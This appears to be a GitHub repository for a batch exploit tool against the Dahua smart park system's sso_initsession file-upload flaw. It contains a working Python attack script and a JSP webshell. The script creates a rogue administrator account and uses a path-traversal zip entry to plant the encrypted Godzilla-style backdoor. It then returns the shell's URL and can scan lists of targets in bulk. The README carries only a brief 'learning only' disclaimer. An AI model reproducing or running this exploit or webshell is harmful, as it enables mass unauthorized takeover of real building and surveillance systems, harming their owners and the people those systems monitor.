├── test.zip ├── requirements.txt ├── img ├── image-20230830171043324.png └── image-20230830171131178.png ├── README.md ├── shell.jsp └── Dahua_sso_initsession_rce.py /test.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/Dahua_sso_initsession_upload_rce/HEAD/test.zip -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome==3.18.0 2 | Requests==2.31.0 3 | urllib3==1.26.16 4 | urllib3==1.26.5 5 | -------------------------------------------------------------------------------- /img/image-20230830171043324.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/Dahua_sso_initsession_upload_rce/HEAD/img/image-20230830171043324.png -------------------------------------------------------------------------------- /img/image-20230830171131178.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/Dahua_sso_initsession_upload_rce/HEAD/img/image-20230830171131178.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 大华智慧园区系统sso_initsession文件上传漏洞批量脚本 2 | 3 | # 本工具仅供学习测试使用,请勿用于非法用途!!! 4 | 5 | 6 | 7 | ## 使用 8 | 9 | 使用前安装依赖 10 | 11 | ``` 12 | pip install -r requirements.txt 13 | ``` 14 | 15 | 1.单个目标进行测试 16 | 17 | ```sh 18 | python3 Dahua_sso_initsession_rce.py -u target 19 | ``` 20 | 21 | 2.批量测试 22 | 23 | ```sh 24 | python3 Dahua_sso_initsession_rce.py -f targets 25 | ``` 26 | 27 | ## 示例 28 | 29 | 发现漏洞后会自动上传webshell,并输出webshell路径 30 | 31 | ![image-20230830171043324](https://github.com/A0WaQ4/Dahua_sso_initsession_upload_rce/blob/main/img/image-20230830171043324.png) 32 | 33 | 脚本默认使用哥斯拉webshell,密码默认为gslshell,key为key,可修改文件夹下的`shell.jsp`为自己的webshell 34 | 35 | ![image-20230830171131178](https://github.com/A0WaQ4/Dahua_sso_initsession_upload_rce/blob/main/img/image-20230830171131178.png) 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /shell.jsp: -------------------------------------------------------------------------------- 1 | <%! String xc="3c6e0b8a9c15224a"; String pass="gslshell"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} 2 | %> 3 | -------------------------------------------------------------------------------- /Dahua_sso_initsession_rce.py: -------------------------------------------------------------------------------- 1 | from email.mime import base 2 | from collections import OrderedDict 3 | from urllib.parse import urlparse 4 | from weakref import proxy 5 | from Crypto.PublicKey import RSA 6 | from Crypto.Cipher import PKCS1_v1_5 7 | import zipfile 8 | import urllib3 9 | import argparse 10 | import operator 11 | import base64 12 | import random 13 | import hashlib 14 | import os 15 | import re 16 | import requests 17 | import json 18 | 19 | # Author:A0WaQ4 20 | # Github:https://github.com/A0WaQ4 21 | 22 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 23 | proxies = { 24 | 'http':'http://127.0.0.1:8080', 25 | 'https':'http://127.0.0.1:8080' 26 | } 27 | header = { 28 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", 29 | "Accept-Encoding": "gzip, deflate" 30 | } 31 | 32 | def randomLetter(): 33 | random_letters = "" 34 | for _ in range(8): 35 | random_letter = chr(random.randint(97,122)) 36 | random_letters += random_letter 37 | return random_letters 38 | 39 | def zip(): 40 | try: 41 | with open("shell.jsp", "r") as f: 42 | shellPath = randomLetter() 43 | zipPath = "../../../../../../../../../../../../../opt/tomcat/webapps/upload/"+shellPath+".jsp" 44 | binary = f.read() 45 | zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) 46 | info = zipfile.ZipInfo("test.zip") 47 | #zipFile.writestr("../../../../../data/data/com.test.demo/files/test.txt", binary) 48 | zipFile.writestr(zipPath, binary) 49 | zipFile.close() 50 | return shellPath 51 | except IOError as e: 52 | raise e 53 | 54 | def removeZip(): 55 | try: 56 | if os.path.exists("test.zip"): 57 | os.remove("test.zip") 58 | except IOError as e: 59 | raise e 60 | 61 | 62 | def encrypt_pass(publicKey,password): 63 | publickey = '-----BEGIN PUBLIC KEY-----\n' + publicKey + '\n-----END PUBLIC KEY-----' 64 | rsakey = RSA.importKey(publickey) 65 | cipher = PKCS1_v1_5.new(rsakey) 66 | password = str(password) 67 | result = base64.b64encode(cipher.encrypt(password.encode('utf-8'))) 68 | return result.decode('utf-8') 69 | 70 | def encrypt_md5(str): 71 | md5 = hashlib.md5() 72 | md5.update(str.encode('utf-8')) 73 | result = md5.hexdigest() 74 | return result 75 | 76 | def exp(url): 77 | try: 78 | response_sso_initSession = requests.get(url+"/admin/sso_initSession.action",headers=header,verify=False,timeout=5) 79 | except requests.RequestException: 80 | return 1 81 | pattern = re.findall(r'[\u4e00-\u9fa5]',response_sso_initSession.text) 82 | if response_sso_initSession.status_code != 200 or len(pattern) > 0: 83 | return 1 84 | 85 | sessionOne = response_sso_initSession.text.strip() 86 | userName = randomLetter() 87 | password = randomLetter() 88 | header_user_save = { 89 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", 90 | "Accept-Encoding": "*", 91 | "Cookie":"JSESSIONID="+sessionOne} 92 | data_user_save = { 93 | 'userBean.userType':(None,'0'), 94 | 'userBean.ownerCode':(None,'001'), 95 | 'userBean.isReuse':(None,'1'), 96 | 'userBean.macStat':(None,'0'), 97 | 'userBean.roleIds':(None,'1'), 98 | 'userBean.loginName':(None,userName), 99 | 'displayedOrgName':(None,userName), 100 | 'userBean.loginPass':(None,password), 101 | 'checkPass':(None,password), 102 | 'userBean.groupId':(None,'0'), 103 | 'userBean.userName':(None,userName) 104 | } 105 | try: 106 | response_user_save = requests.post(url+"/admin/user_save.action",headers=header_user_save,verify=False,files=data_user_save) 107 | except requests.RequestException: 108 | return 1 109 | if response_user_save.status_code != 200: 110 | return 1 111 | header_getpublicKey= { 112 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", 113 | "Accept-Encoding": "gzip, deflate", 114 | "Content-Type": "application/json" 115 | } 116 | data_getpublicKey = {"loginName":userName} 117 | try: 118 | response_getpublicKey = requests.post(url+"/WPMS/getPublicKey",headers=header_getpublicKey,verify=False,data=json.dumps(data_getpublicKey)) 119 | except requests.RequestException: 120 | return 1 121 | if response_getpublicKey.status_code != 200 or not operator.contains(response_getpublicKey.text,'"publicKey"') : 122 | return 1 123 | rsapublicKey = json.loads(response_getpublicKey.text).get("publicKey") 124 | password_login = encrypt_pass(rsapublicKey,password) 125 | header_login= { 126 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", 127 | "Accept-Encoding": "gzip, deflate", 128 | "Content-Type": "application/json" 129 | } 130 | data_login = {"loginName":userName,"loginPass":password_login} 131 | try: 132 | response_login = requests.post(url+"/WPMS/login",headers=header_login,verify=False,data=json.dumps(data_login)) 133 | except requests.RequestException: 134 | return 1 135 | if response_login.status_code != 200 or not operator.contains(response_login.text,'"token"') : 136 | return 1 137 | token_login_login = json.loads(response_login.text).get("token") 138 | try: 139 | response_login_login = requests.get(url+"/admin/login_login.action?subSystemToken="+token_login_login,headers=header,verify=False) 140 | except requests.RequestException: 141 | return 1 142 | if response_login_login.status_code != 200: 143 | return 1 144 | Jsessionid = re.match("JSESSIONID=(.*?);",response_login_login.headers.get("Set-Cookie")).group() 145 | header_recover_recover = { 146 | "Cookie":Jsessionid+" currentToken="+token_login_login, 147 | "Accept-Encoding": "gzip, deflate" 148 | } 149 | passwordtoken = encrypt_md5(userName+":dss:"+password) 150 | removeZip() 151 | shellPath = zip() 152 | file_recover_recover = [("recoverFile",("test.zip",open("test.zip","rb").read(),"application/zip"))] 153 | try: 154 | response_recover_recover = requests.post(url+"/admin/recover_recover.action?password="+passwordtoken,headers=header_recover_recover,files=file_recover_recover,verify=False) 155 | except requests.RequestException: 156 | return 1 157 | if response_recover_recover.status_code != 200: 158 | return 1 159 | try: 160 | response_last = requests.post(url+"/upload/"+shellPath+".jsp",headers=header,verify=False) 161 | except requests.RequestException: 162 | return 1 163 | if response_last.status_code == 404: 164 | return 1 165 | else: 166 | webshell = url+"/upload/"+shellPath+".jsp" 167 | return webshell 168 | 169 | if __name__ == '__main__': 170 | parser = argparse.ArgumentParser() 171 | parser.add_argument('-u', "--url", help = "目标URL") 172 | parser.add_argument('-f', "--file", help = "批量url文件") 173 | args = parser.parse_args() 174 | if args.url: 175 | parsed_url = urlparse(args.url) 176 | urlp = parsed_url.scheme + "://" + parsed_url.netloc 177 | print('\033[0;31;46m开始测试'+urlp+'\033[0m') 178 | result = exp(urlp) 179 | if result != 1: 180 | print("\033[0;31;107msuccess[+]:"+result+'\033[0m') 181 | else: 182 | print("\033[0;94;107mnovul\033[0m") 183 | elif args.file: 184 | for url in open(args.file): 185 | parsed_url = urlparse(url.strip()) 186 | urlp = parsed_url.scheme + "://" + parsed_url.netloc 187 | print('\033[0;31;46m开始测试'+urlp.strip()+'\033[0m') 188 | result = exp(urlp) 189 | if result != 1: 190 | print("\033[0;31;107msuccess[+]:"+result+'\033[0m') 191 | else: 192 | print("\033[0;94;107mnovul\033[0m") 193 | --------------------------------------------------------------------------------